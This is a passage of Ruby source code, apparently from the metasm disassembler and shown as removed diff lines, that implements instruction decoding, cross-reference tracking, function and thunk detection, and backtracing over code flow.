|b, e| - e.reloc.each { |o, r| - r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] } - } - } - - self - end - - def add_xref(addr, x) - case @xrefs[addr] - when nil; @xrefs[addr] = x - when x - when ::Array; @xrefs[addr] |= [x] - else @xrefs[addr] = [@xrefs[addr], x] - end - end - - # yields each xref to a given address, optionnaly restricted to a type - def each_xref(addr, type=nil) - addr = normalize addr - - x = @xrefs[addr] - x = case x - when nil; [] - when ::Array; x.dup - else [x] - end - - x.delete_if { |x_| x_.type != type } if type - - # add pseudo-xrefs for exe relocs - if (not type or type == :reloc) and l = get_label_at(addr) and a = @inv_section_reloc[l] - a.each { |b, e, o, r| - addr = Expression[b]+o - # ignore relocs embedded in an already-listed instr - x << Xref.new(:reloc, addr) if not x.find { |x_| - next if not x_.origin or not di_at(x_.origin) - (addr - x_.origin) < @decoded[x_.origin].bin_length rescue false - } - } - end - - x.each { |x_| yield x_ } - end - - # parses a C header file, from which function prototypes will be converted to DecodedFunction when found in the code flow - def parse_c_file(file) - parse_c File.read(file), file - end - - # parses a C string for function prototypes - def parse_c(str, filename=nil, lineno=1) - @c_parser_constcache = nil - @c_parser ||= @cpu.new_cparser - @c_parser.lexer.define_weak('__METASM__DECODE__') - @c_parser.parse(str, filename, lineno) - rescue ParseError - @c_parser.lexer.feed! '' - raise - end - - # list the constants ([name, integer value]) defined in the C code (#define / enums) - def c_constants - @c_parser_constcache ||= @c_parser.numeric_constants - end - - # returns the canonical form of addr (absolute address integer or label of start of section + section offset) - def normalize(addr) - return addr if not addr or addr == :default - addr = Expression[addr].bind(@old_prog_binding).reduce if not addr.kind_of? Integer - addr %= 1 << [@cpu.size, 32].max if @cpu and addr.kind_of? Integer - addr - end - - # returns [edata, edata_base] or nil - # edata.ptr points to addr - def get_section_at(addr, memcheck=true) - case addr = normalize(addr) - when ::Integer - if s = @sections.find { |b, e| b.kind_of? ::Integer and addr >= b and addr < b + e.length } || - @sections.find { |b, e| b.kind_of? ::Integer and addr == b + e.length } # end label - s[1].ptr = addr - s[0] - return if memcheck and s[1].data.respond_to?(:page_invalid?) and s[1].data.page_invalid?(s[1].ptr) - [s[1], s[0]] - end - when Expression - if addr.op == :+ and addr.rexpr.kind_of? ::Integer and addr.rexpr >= 0 and addr.lexpr.kind_of? ::String and e = @sections[addr.lexpr] - e.ptr = addr.rexpr - return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) - [e, Expression[addr.lexpr]] - elsif addr.op == :+ and addr.rexpr.kind_of? ::String and not addr.lexpr and e = @sections[addr.rexpr] - e.ptr = 0 - return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) - [e, addr.rexpr] - end - end - end - - # returns the label at the specified address, creates it if needed using "prefix_addr" - # renames the existing label if it is in the form rewritepfx_addr - # returns nil if the address is not known and is not a string - def auto_label_at(addr, base='xref', *rewritepfx) - addr = Expression[addr].reduce - addrstr = "#{base}_#{Expression[addr]}" - return if addrstr !~ /^\w+$/ - e, b = get_section_at(addr) - if not e - l = Expression[addr].reduce_rec if Expression[addr].reduce_rec.kind_of? ::String - l ||= addrstr if addr.kind_of? Expression and addr.externals.grep(::Symbol).empty? - elsif not l = e.inv_export[e.ptr] - l = @program.new_label(addrstr) - e.add_export l, e.ptr - @label_alias_cache = nil - @old_prog_binding[l] = @prog_binding[l] = b + e.ptr - elsif rewritepfx.find { |p| base != p and addrstr.sub(base, p) == l } - newl = addrstr - newl = @program.new_label(newl) unless @old_prog_binding[newl] and @old_prog_binding[newl] == @prog_binding[l] # avoid _uuid when a -> b -> a - rename_label l, newl - l = newl - end - l - end - - # returns a hash associating addr => list of labels at this addr - # label_alias[a] may be nil if a new label is created elsewhere in the edata with the same name - def label_alias - if not @label_alias_cache - @label_alias_cache = {} - @prog_binding.each { |k, v| - (@label_alias_cache[v] ||= []) << k - } - end - @label_alias_cache - end - - # decodes instructions from an entrypoint, (tries to) follows code flow - def disassemble(*entrypoints) - nil while disassemble_mainiter(entrypoints) - self - end - - attr_accessor :entrypoints - - # do one operation relevant to disassembling - # returns nil once done - def disassemble_mainiter(entrypoints=[]) - @entrypoints ||= [] - if @addrs_todo.empty? and entrypoints.empty? - post_disassemble - puts 'disassembly finished' if $VERBOSE - @callback_finished[] if callback_finished - return false - elsif @addrs_todo.empty? - ep = entrypoints.shift - l = auto_label_at(normalize(ep), 'entrypoint') - puts "start disassemble from #{l} (#{entrypoints.length})" if $VERBOSE and not entrypoints.empty? - @entrypoints << l - @addrs_todo << [ep] - else - disassemble_step - end - true - end - - def post_disassemble - @decoded.each_value { |di| - next if not di.kind_of? DecodedInstruction - next if not di.opcode or not di.opcode.props[:saveip] - if not di.block.to_subfuncret - di.add_comment 'noreturn' - # there is no need to re-loop on all :saveip as check_noret is transitive - di.block.each_to_normal { |fa| check_noreturn_function(fa) } - end - } - @function.each { |addr, f| - next if not @decoded[addr] - if not f.finalized - f.finalized = true -puts " finalize subfunc #{Expression[addr]}" if debug_backtrace - backtrace_update_function_binding(addr, f) - if not f.return_address - detect_function_thunk(addr) - end - end - bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown } - unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact - bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty? - add_comment(addr, "function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')) - add_comment(addr, "function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')) if f.return_address - } - end - - # disassembles one block from addrs_todo - # adds next addresses to handle to addrs_todo - # if @function[:default] exists, jumps to unknows locations are interpreted as to @function[:default] - def disassemble_step - return if not todo = @addrs_todo.pop or @addrs_done.include? todo - @addrs_done << todo if todo[1] - - # from_sfret is true if from is the address of a function call that returns to addr - addr, from, from_subfuncret = todo - - return if from == Expression::Unknown - - puts "disassemble_step #{Expression[addr]} #{Expression[from] if from} #{from_subfuncret} (/#{@addrs_todo.length})" if $DEBUG - - addr = normalize(addr) - - if from and from_subfuncret and di_at(from) - @decoded[from].block.each_to_normal { |subfunc| - subfunc = normalize(subfunc) - next if not f = @function[subfunc] or f.finalized - f.finalized = true -puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace - backtrace_update_function_binding(subfunc, f) - if not f.return_address - detect_function_thunk(subfunc) - end - } - end - - if di = @decoded[addr] - if di.kind_of? DecodedInstruction - split_block(di.block, di.address, true) if not di.block_head? # this updates di.block - di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - bf = di.block - elsif di == true - bf = @function[addr] - end - elsif bf = @function[addr] - detect_function_thunk_noreturn(from) if bf.noreturn - elsif s = get_section_at(addr) - block = InstructionBlock.new(normalize(addr), s[0]) - block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - disassemble_block(block) - elsif from and c_parser and name = Expression[addr].reduce_rec and name.kind_of? ::String and - s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function - bf = @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) - detect_function_thunk_noreturn(from) if bf.noreturn - elsif from - if bf = @function[:default] - puts "using default function for #{Expression[addr]} from #{Expression[from]}" if $DEBUG - if name = Expression[addr].reduce_rec and name.kind_of? ::String - @function[addr] = @function[:default].dup - else - addr = :default - end - if @decoded[from] - @decoded[from].block.add_to addr - end - else - puts "not disassembling unknown address #{Expression[addr]} from #{Expression[from]}" if $DEBUG - end - if from != :default - add_xref(addr, Xref.new(:x, from)) - add_xref(Expression::Unknown, Xref.new(:x, from)) - end - else - puts "not disassembling unknown address #{Expression[addr]}" if $VERBOSE - end - - if bf and from and from != :default - if bf.kind_of? DecodedFunction - bff = bf.get_backtracked_for(self, addr, from) - else - bff = bf.backtracked_for - end - end - bff.each { |btt| - next if btt.address - if @decoded[from].kind_of? DecodedInstruction and @decoded[from].opcode.props[:saveip] and not from_subfuncret and not @function[addr] - backtrace_check_found(btt.expr, @decoded[addr], btt.origin, btt.type, btt.len, btt.maxdepth, btt.detached) - end - next if backtrace_check_funcret(btt, addr, from) - backtrace(btt.expr, from, - :include_start => true, :from_subfuncret => from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, - :len => btt.len, :detached => btt.detached, :maxdepth => btt.maxdepth) - } if bff - end - - # splits an InstructionBlock, updates the blocks backtracked_for - def split_block(block, address=nil, rebacktrace=false) - if not address # invoked as split_block(0x401012) - return if not @decoded[block].kind_of? DecodedInstruction - block, address = @decoded[block].block, block - end - return block if address == block.address - new_b = block.split address - if rebacktrace - new_b.backtracked_for.dup.each { |btt| - backtrace(btt.expr, btt.address, - :only_upto => block.list.last.address, - :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, - :detached => btt.detached, :maxdepth => btt.maxdepth) - } - end - new_b - end - - # disassembles a new instruction block at block.address (must be normalized) - def disassemble_block(block) - raise if not block.list.empty? - di_addr = block.address - delay_slot = nil - di = nil - - # try not to run for too long - # loop usage: break if the block continues to the following instruction, else return - @disassemble_maxblocklength.times { - # check collision into a known block - break if @decoded[di_addr] - - # check self-modifying code - if @check_smc - #(-7...di.bin_length).each { |off| # uncomment to check for unaligned rewrites - waddr = di_addr #di_addr + off - each_xref(waddr, :w) { |x| - #next if off + x.len < 0 - puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE - add_comment(di_addr, "overwritten by #{@decoded[x.origin]}") - @callback_selfmodifying[di_addr] if callback_selfmodifying - return - } - #} - end - - # decode instruction - block.edata.ptr = di_addr - block.address + block.edata_ptr - if not di = @cpu.decode_instruction(block.edata, di_addr) - ed = block.edata - break if ed.ptr >= ed.length and get_section_at(di_addr) and di = block.list.last - puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE - return - end - - @decoded[di_addr] = di - block.add_di di - puts di if $DEBUG - - if callback_newinstr - ndi = @callback_newinstr[di] - if not ndi or not ndi.block - block.list.delete di - if ndi - block.add_di ndi - ndi.bin_length = di.bin_length if ndi.bin_length == 0 - @decoded[di_addr] = ndi - end - end - di = ndi - end - return if not di - block = di.block - - di_addr = di.next_addr - - backtrace_xrefs_di_rw(di) - - if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty? - # do not backtrace until delay slot is finished (eg MIPS: di is a - # ret and the delay slot holds stack fixup needed to calc func_binding) - # XXX if the delay slot is also xref_x or :stopexec it is ignored - delay_slot ||= [di, @cpu.delay_slot(di)] - end - - if delay_slot - di, delay = delay_slot - if delay == 0 or not di_addr - backtrace_xrefs_di_x(di) - if di.opcode.props[:stopexec] or not di_addr; return - else break - end - end - delay_slot[1] = delay - 1 - end - } - - ar = [di_addr] - ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr - ar.each { |di_addr_| backtrace(di_addr_, di.address, :origin => di.address, :type => :x) } - - block - end - - # retrieve the list of execution crossrefs due to the decodedinstruction - # returns a list of symbolic expressions - def get_xrefs_x(di) - @program.get_xrefs_x(self, di) - end - - # retrieve the list of data r/w crossrefs due to the decodedinstruction - # returns a list of [type, symbolic expression, length] - def get_xrefs_rw(di) - @program.get_xrefs_rw(self, di) - end - - # disassembles_fast from a list of entrypoints, also dasm subfunctions - def disassemble_fast_deep(*entrypoints) - @entrypoints ||= [] - @entrypoints |= entrypoints - - entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) } - - @callback_finished[] if callback_finished - end - - def do_disassemble_fast_deep(ep) - disassemble_fast(ep) { |fa, di| - fa = normalize(fa) - do_disassemble_fast_deep(fa) - if di and ndi = di_at(fa) - ndi.block.add_from_normal(di.address) - end - } - end - - # disassembles fast from a list of entrypoints - # see disassemble_fast_step - def disassemble_fast(entrypoint, maxdepth=-1, &b) - ep = [entrypoint] - until ep.empty? - disassemble_fast_step(ep, &b) - maxdepth -= 1 - ep.delete_if { |a| not @decoded[normalize(a[0])] } if maxdepth == 0 - end - check_noreturn_function(entrypoint) - end - - # disassembles one block from the ary, see disassemble_fast_block - def disassemble_fast_step(todo, &b) - return if not x = todo.pop - addr, from, from_subfuncret = x - - addr = normalize(addr) - - if di = @decoded[addr] - if di.kind_of? DecodedInstruction - split_block(di.block, di.address) if not di.block_head? - di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - end - elsif s = get_section_at(addr) - block = InstructionBlock.new(normalize(addr), s[0]) - block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - todo.concat disassemble_fast_block(block, &b) - elsif name = Expression[addr].reduce_rec and name.kind_of? ::String and not @function[addr] - if c_parser and s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function - @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) - detect_function_thunk_noreturn(from) if @function[addr].noreturn - elsif @function[:default] - @function[addr] = @function[:default].dup - end - end - - disassemble_fast_checkfunc(addr) - end - - # check if an addr has an xref :x from a :saveip, if so mark as Function - def disassemble_fast_checkfunc(addr) - if @decoded[addr].kind_of? DecodedInstruction and not @function[addr] - func = false - each_xref(addr, :x) { |x_| - func = true if odi = di_at(x_.origin) and odi.opcode.props[:saveip] - } - if func - auto_label_at(addr, 'sub', 'loc', 'xref') - @function[addr] = (@function[:default] || DecodedFunction.new).dup - @function[addr].finalized = true - detect_function_thunk(addr) - puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE - end - end - end - - # disassembles fast a new instruction block at block.address (must be normalized) - # does not recurse into subfunctions - # assumes all :saveip returns, except those pointing to a subfunc with noreturn - # yields subfunction addresses (targets of :saveip) - # no backtrace for :x (change with backtrace_maxblocks_fast) - # returns a todo-style ary - # assumes @addrs_todo is empty - def disassemble_fast_block(block, &b) - block = InstructionBlock.new(normalize(block), get_section_at(block)[0]) if not block.kind_of? InstructionBlock - di_addr = block.address - delay_slot = nil - di = nil - ret = [] - - return ret if @decoded[di_addr] - - @disassemble_maxblocklength.times { - break if @decoded[di_addr] - - # decode instruction - block.edata.ptr = di_addr - block.address + block.edata_ptr - if not di = @cpu.decode_instruction(block.edata, di_addr) - break if block.edata.ptr >= block.edata.length and get_section_at(di_addr) and di = block.list.last - return ret - end - - @decoded[di_addr] = di - block.add_di di - puts di if $DEBUG - - if callback_newinstr - ndi = @callback_newinstr[di] - if not ndi or not ndi.block - block.list.delete di - if ndi - block.add_di ndi - ndi.bin_length = di.bin_length if ndi.bin_length == 0 - @decoded[di_addr] = ndi - end - end - di = ndi - end - return ret if not di - - di_addr = di.next_addr - - if di.opcode.props[:stopexec] or di.opcode.props[:setip] - if di.opcode.props[:setip] - @addrs_todo = [] - ar = @program.get_xrefs_x(self, di) - ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr - ar.each { |expr| - backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast) - } - end - if di.opcode.props[:saveip] - @addrs_todo = [] - ret.concat disassemble_fast_block_subfunc(di, &b) - else - ret.concat @addrs_todo - @addrs_todo = [] - end - delay_slot ||= [di, @cpu.delay_slot(di)] - end - - if delay_slot - if delay_slot[1] <= 0 - return ret if delay_slot[0].opcode.props[:stopexec] - break - end - delay_slot[1] -= 1 - end - } - - ar = [di_addr] - ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr - ar.each { |a| - di.block.add_to_normal(a) - ret << [a, di.address] - } - ret - end - - # handles when disassemble_fast encounters a call to a subfunction - def disassemble_fast_block_subfunc(di) - funcs = di.block.to_normal.to_a - do_ret = funcs.empty? - ret = [] - na = di.next_addr + di.bin_length * @cpu.delay_slot(di) - funcs.each { |fa| - fa = normalize(fa) - disassemble_fast_checkfunc(fa) - yield fa, di if block_given? - if f = @function[fa] and bf = f.get_backtracked_for(self, fa, di.address) and not bf.empty? - # this includes retaddr unless f is noreturn - bf.each { |btt| - next if btt.type != :x - bt = backtrace(btt.expr, di.address, :include_start => true, :origin => btt.origin, :maxdepth => [@backtrace_maxblocks_fast, 1].max) - if btt.detached - ret.concat bt # callback argument - elsif bt.find { |a| normalize(a) == na } - do_ret = true - end - } - elsif not f or not f.noreturn - do_ret = true - end - } - if do_ret - di.block.add_to_subfuncret(na) - ret << [na, di.address, true] - di.block.add_to_normal :default if not di.block.to_normal and @function[:default] - end - ret - end - - # trace whose xrefs this di is responsible of - def backtrace_xrefs_di_rw(di) - get_xrefs_rw(di).each { |type, ptr, len| - backtrace(ptr, di.address, :origin => di.address, :type => type, :len => len).each { |xaddr| - next if xaddr == Expression::Unknown - if @check_smc and type == :w - #len.times { |off| # check unaligned ? - waddr = xaddr #+ off - if wdi = di_at(waddr) - puts "W: disasm: #{di} overwrites #{wdi}" if $VERBOSE - wdi.add_comment "overwritten by #{di}" - end - #} - end - } - } - end - - # trace xrefs for execution - def backtrace_xrefs_di_x(di) - ar = @program.get_xrefs_x(self, di) - ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr - ar.each { |expr| backtrace(expr, di.address, :origin => di.address, :type => :x) } - end - - # checks if the function starting at funcaddr is an external function thunk (eg jmp [SomeExtFunc]) - # the argument must be the address of a decodedinstruction that is the first of a function, - # which must not have return_addresses - # returns the new thunk name if it was changed - def detect_function_thunk(funcaddr) - # check thunk linearity (no conditionnal branch etc) - addr = funcaddr - count = 0 - while b = block_at(addr) - count += 1 - return if count > 5 or b.list.length > 5 - if b.to_subfuncret and not b.to_subfuncret.empty? - return if b.to_subfuncret.length != 1 - addr = normalize(b.to_subfuncret.first) - return if not b.to_normal or b.to_normal.length != 1 - # check that the subfunction is simple (eg get_eip) - return if not sf = @function[normalize(b.to_normal.first)] - return if not btb = sf.backtrace_binding - btb = btb.dup - btb.delete_if { |k, v| Expression[k] == Expression[v] } - return if btb.length > 2 or btb.values.include? Expression::Unknown - else - return if not bt = b.to_normal - if bt.include? :default - addr = :default - break - elsif bt.length != 1 - return - end - addr = normalize(bt.first) - end - end - fname = Expression[addr].reduce_rec - if funcaddr != addr and f = @function[funcaddr] - # forward get_backtrace_binding to target - f.backtrace_binding = { :thunk => addr } - f.noreturn = true if @function[addr] and @function[addr].noreturn - end - return if not fname.kind_of? ::String - l = auto_label_at(funcaddr, 'sub', 'loc') - return if l[0, 4] != 'sub_' - puts "found thunk for #{fname} at #{Expression[funcaddr]}" if $DEBUG - rename_label(l, @program.new_label("thunk_#{fname}")) - end - - # this is called when reaching a noreturn function call, with the call address - # it is responsible for detecting the actual 'call' instruction leading to this - # noreturn function, and eventually mark the call target as a thunk - def detect_function_thunk_noreturn(addr) - 5.times { - return if not di = di_at(addr) - if di.opcode.props[:saveip] and not di.block.to_subfuncret - if di.block.to_normal.to_a.length == 1 - taddr = normalize(di.block.to_normal.first) - if di_at(taddr) - @function[taddr] ||= DecodedFunction.new - return detect_function_thunk(taddr) - end - end - break - else - from = di.block.from_normal.to_a + di.block.from_subfuncret.to_a - if from.length == 1 - addr = from.first - else break - end - end - } - end - - # given an address, detect if it may be a noreturn fuction - # it is if all its end blocks are calls to noreturn functions - # if it is, create a @function[fa] with noreturn = true - # should only be called with fa = target of a call - def check_noreturn_function(fa) - fb = function_blocks(fa, false, false) - lasts = fb.keys.find_all { |k| fb[k] == [] } - return if lasts.empty? - if lasts.all? { |la| - b = block_at(la) - next if not di = b.list.last - (di.opcode.props[:saveip] and b.to_normal.to_a.all? { |tfa| - tf = function_at(tfa) and tf.noreturn - }) or (di.opcode.props[:stopexec] and not di.opcode.props[:setip]) - } - # yay - @function[fa] ||= DecodedFunction.new - @function[fa].noreturn = true - end - end - - - # walks the backtrace tree from an address, passing along an object - # - # the steps are (1st = event, followed by hash keys) - # - # for each decoded instruction encountered: - # :di :di - # - # when backtracking to a block through a decodedfunction: - # (yield for each of the block's subfunctions) - # (the decodedinstruction responsible for the call will be yield next) - # :func :func, :funcaddr, :addr, :depth - # - # when jumping from one block to another (excluding :loop): # XXX include :loops ? - # :up :from, :to, :sfret - # - # when the backtrack has nothing to backtrack to (eg program entrypoint): - # :end :addr - # - # when the backtrack stops by taking too long to complete: - # :maxdepth :addr - # - # when the backtrack stops for encountering the specified stop address: - # :stopaddr :addr - # - # when rebacktracking a block already seen in the current branch: - # (looptrace is an array of [obj, block end addr, from_subfuncret], from oldest to newest) - # :loop :looptrace - # - # when the address does not match a known instruction/function: - # :unknown_addr :addr - # - # the block return value is used as follow for :di, :func, :up and :loop: - # false => the backtrace stops for the branch - # nil => the backtrace continues with the current object - # anything else => the backtrace continues with this object - # - # method arguments: - # obj is the initial value of the object - # addr is the address where the backtrace starts - # include_start is a bool specifying if the backtrace should start at addr or just before - # from_subfuncret is a bool specifying if addr points to a decodedinstruction that calls a subfunction - # stopaddr is an [array of] address of instruction, the backtrace will stop just after executing it - # maxdepth is the maximum depth (in blocks) for each backtrace branch. - # (defaults to dasm.backtrace_maxblocks, which defaults do Dasm.backtrace_maxblocks) - def backtrace_walk(obj, addr, include_start, from_subfuncret, stopaddr, maxdepth) - start_addr = normalize(addr) - stopaddr = [stopaddr] if stopaddr and not stopaddr.kind_of? ::Array - - # array of [obj, addr, from_subfuncret, loopdetect] - # loopdetect is an array of [obj, addr, from_type] of each end of block encountered - todo = [] - - # array of [obj, blockaddr] - # avoids rewalking the same value - done = [] - - # updates todo with the addresses to backtrace next - walk_up = lambda { |w_obj, w_addr, w_loopdetect| - if w_loopdetect.length > maxdepth - yield :maxdepth, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - elsif stopaddr and stopaddr.include?(w_addr) - yield :stopaddr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - elsif w_di = @decoded[w_addr] and w_di != w_di.block.list.first and w_di.address != w_di.block.address - prevdi = w_di.block.list[w_di.block.list.index(w_di)-1] - todo << [w_obj, prevdi.address, :normal, w_loopdetect] - elsif w_di - next if done.include? [w_obj, w_addr] - done << [w_obj, w_addr] - hadsomething = false - w_di.block.each_from { |f_addr, f_type| - next if f_type == :indirect - hadsomething = true - o_f_addr = f_addr - f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot - if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == f_addr and l_type == f_type } - f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) - if f_obj and f_obj != w_obj # should avoid infinite loops - f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] - end - else - f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => f_type, :loopdetect => w_loopdetect, :real_to => o_f_addr) - end - next if f_obj == false - f_obj ||= w_obj - f_loopdetect ||= w_loopdetect - # only count non-trivial paths in loopdetect (ignore linear links) - add_detect = [[f_obj, f_addr, f_type]] - add_detect = [] if @decoded[f_addr].kind_of? DecodedInstruction and tmp = @decoded[f_addr].block and - ((w_di.block.from_subfuncret.to_a == [] and w_di.block.from_normal == [f_addr] and - tmp.to_normal == [w_di.address] and tmp.to_subfuncret.to_a == []) or - (w_di.block.from_subfuncret == [f_addr] and tmp.to_subfuncret == [w_di.address])) - todo << [f_obj, f_addr, f_type, f_loopdetect + add_detect ] - } - yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if not hadsomething - elsif @function[w_addr] and w_addr != :default and w_addr != Expression::Unknown - next if done.include? [w_obj, w_addr] - oldlen = todo.length - each_xref(w_addr, :x) { |x| - f_addr = x.origin - o_f_addr = f_addr - f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot - if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == w_addr } - f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) - if f_obj and f_obj != w_obj - f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] - end - else - f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => :normal, :loopdetect => w_loopdetect, :real_to => o_f_addr) - end - next if f_obj == false - f_obj ||= w_obj - f_loopdetect ||= w_loopdetect - todo << [f_obj, f_addr, :normal, f_loopdetect + [[f_obj, f_addr, :normal]] ] - } - yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if todo.length == oldlen - else - yield :unknown_addr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - end - } - - if include_start - todo << [obj, start_addr, from_subfuncret ? :subfuncret : :normal, []] - else - walk_up[obj, start_addr, []] - end - - while not todo.empty? - obj, addr, type, loopdetect = todo.pop - di = @decoded[addr] - if di and type == :subfuncret - di.block.each_to_normal { |sf| - next if not f = @function[normalize(sf)] - s_obj = yield(:func, obj, :func => f, :funcaddr => sf, :addr => addr, :loopdetect => loopdetect) - next if s_obj == false - s_obj ||= obj - if l = loopdetect.find { |l_obj, l_addr, l_type| addr == l_addr and l_type == :normal } - l_obj = yield(:loop, s_obj, :looptrace => loopdetect[loopdetect.index(l)..-1], :loopdetect => loopdetect) - if l_obj and l_obj != s_obj - s_loopdetect = loopdetect[0...loopdetect.index(l)] - end - next if l_obj == false - s_obj = l_obj if l_obj - end - s_loopdetect ||= loopdetect - todo << [s_obj, addr, :normal, s_loopdetect + [[s_obj, addr, :normal]] ] - } - elsif di - # XXX should interpolate index if di is not in block.list, but what if the addresses are not Comparable ? - di.block.list[0..(di.block.list.index(di) || -1)].reverse_each { |di_| - di = di_ # XXX not sure.. - if stopaddr and ea = di.next_addr and stopaddr.include?(ea) - yield :stopaddr, obj, :addr => ea, :loopdetect => loopdetect - break - end - ex_obj = obj - obj = yield(:di, obj, :di => di, :loopdetect => loopdetect) - break if obj == false - obj ||= ex_obj - } - walk_up[obj, di.block.address, loopdetect] if obj - elsif @function[addr] and addr != :default and addr != Expression::Unknown - ex_obj = obj - obj = yield(:func, obj, :func => @function[addr], :funcaddr => addr, :addr => addr, :loopdetect => loopdetect) - next if obj == false - obj ||= ex_obj - walk_up[obj, addr, loopdetect] - else - yield :unknown_addr, obj, :addr => addr, :loopdetect => loopdetect - end - end - end - - # iterates over all instructions of a function from a given entrypoint - # carries an object while walking, the object is yielded every instruction - # every block is walked only once, after all previous blocks are done (if possible) - # on a 'jz', a [:clone] event is yielded for every path beside the first - # on a juction (eg a -> b -> d, a -> c -> d), a [:merge] event occurs if froms have different objs - # event list: - # [:di, <addr>, <decoded_instruction>, <object>] - # [:clone, <newaddr>, <oldaddr>, <object>] - # [:merge, <newaddr>, {<oldaddr1> => <object1>, <oldaddr2> => <object2>, ...}, <object1>] - # [:subfunc, <subfunc_addr>, <call_addr>, <object>] - # all events should return an object - # :merge has a copy of object1 at the end so that uninterested callers can always return args[-1] - # if an event returns false, the trace stops for the current branch - def function_walk(addr_start, obj_start) - # addresses of instrs already seen => obj - done = {} - todo = [[addr_start, obj_start]] - - while hop = todo.pop - addr, obj = hop - next if done.has_key?(done) - - di = di_at(addr) - next if not di - - if done.empty? - dilist = di.block.list[di.block.list.index(di)..-1] - else - # new block, check all 'from' have been seen - if not hop[2] - # may retry later - all_ok = true - di.block.each_from_samefunc(self) { |fa| all_ok = false unless done.has_key?(fa) } - if not all_ok - todo.unshift([addr, obj, true]) - next - end - end - - froms = {} - di.block.each_from_samefunc(self) { |fa| froms[fa] = done[fa] if done[fa] } - if froms.values.uniq.length > 1 - obj = yield([:merge, addr, froms, froms.values.first]) - next if obj == false - end - - dilist = di.block.list - end - - if dilist.each { |_di| - break if done.has_key?(_di.address) # looped back into addr_start - done[_di.address] = obj - obj = yield([:di, _di.address, _di, obj]) - break if obj == false # also return false for the previous 'if' - } - - from = dilist.last.address - - if di.block.to_normal and di.block.to_normal[0] and - di.block.to_subfuncret and di.block.to_subfuncret[0] - # current instruction block calls into a subfunction - obj = di.block.to_normal.map { |subf| - yield([:subfunc, subf, from, obj]) - }.first # propagate 1st subfunc result - next if obj == false - end - - wantclone = false - di.block.each_to_samefunc(self) { |ta| - if wantclone - nobj = yield([:clone, ta, from, obj]) - next if obj == false - todo << [ta, nobj] - else - todo << [ta, obj] - wantclone = true - end - } - end - end - end - - # holds a backtrace result until a snapshot_addr is encountered - class StoppedExpr - attr_accessor :exprs - def initialize(e) @exprs = e end - end - - - attr_accessor :debug_backtrace - - # backtraces the value of an expression from start_addr - # updates blocks backtracked_for if type is set - # uses backtrace_walk - # all values returned are from backtrace_check_found (which may generate xrefs, labels, addrs to dasm) unless :no_check is specified - # options: - # :include_start => start backtracking including start_addr - # :from_subfuncret => - # :origin => origin to set for xrefs when resolution is successful - # :orig_expr => initial expression - # :type => xref type (:r, :w, :x, :addr) when :x, the results are added to #addrs_todo - # :len => xref len (for :r/:w) - # :snapshot_addr => addr (or array of) where the backtracker should stop - # if a snapshot_addr is given, values found are ignored if continuing the backtrace does not get to it (eg maxdepth/unk_addr/end) - # :maxdepth => maximum number of blocks to backtrace - # :detached => true if backtracking type :x and the result should not have from = origin set in @addrs_todo - # :max_complexity{_data} => maximum complexity of the expression before aborting its backtrace - # :log => Array, will be updated with the backtrace evolution - # :only_upto => backtrace only to update bt_for for current block & previous ending at only_upto - # :no_check => don't use backtrace_check_found (will not backtrace indirection static values) - # :terminals => array of symbols with constant value (stop backtracking if all symbols in the expr are terminals) (only supported with no_check) - def backtrace(expr, start_addr, nargs={}) - include_start = nargs.delete :include_start - from_subfuncret = nargs.delete :from_subfuncret - origin = nargs.delete :origin - origexpr = nargs.delete :orig_expr - type = nargs.delete :type - len = nargs.delete :len - snapshot_addr = nargs.delete(:snapshot_addr) 